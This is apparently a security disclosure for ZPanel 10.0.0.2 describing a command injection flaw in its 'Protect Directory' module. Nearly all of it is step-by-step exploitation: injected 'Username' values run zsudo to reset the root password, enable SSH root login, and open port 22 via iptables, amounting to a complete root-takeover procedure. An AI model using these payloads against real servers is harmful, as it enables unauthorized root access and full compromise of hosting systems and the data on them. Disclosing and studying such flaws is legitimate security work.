ZPanel 10.0.0.2 Remote Command Execution

One of our expert team members (shachibista@gmail.com) who is assignedto do the security audit of ZPanel code has found the follwoingsecurity vulnerability with ZPanel 10.0.0.2 which will allow anyone toescalate the root accress and access the server by anyone. Thesecurity audit states the following:<QUOTE>I have been reviewing ZPanel code and there is a serious remoteexecution vulnerability in the "Protect Directory" module that allowsanyone with access to the page (Administrators, Resellers and Clientsby default) to execute arbitrary commands on the shell due to improper(non-existent) escaping of user input. The following steps can betaken to reproduce the exploit:1. Login as any user and visithttp://<server_address>/?module=htpasswd&selected=Selected&path=/1a. In the "Username" field input (including the initial semicolon andthe final hash):;/etc/zpanel/panel/bin/zsudo "echo 'newpassword'" "| passwd --stdin root" #2. Type any password3. Root password will be set to "newpassword"4. Visit http://<server_address>/?module=htpasswd&selected=Selected&path=/5. In the "Username" field (including initial semicolon and final hash):;/etc/zpanel/panel/bin/zsudo sed '-i "s/#*\(PermitRootLogin\)/\1 yes\#/" /etc/ssh/*hd*g' #6. This will enable root login,7. One can repeat the same process to open port 22 through iptables(iptables -A INPUT -p tcp --dport 22 -j ACCEPT) and restart the sshserver (this will require the process twice as the internal buffersize of zsudo command is 100 characters)<UNQUOTE>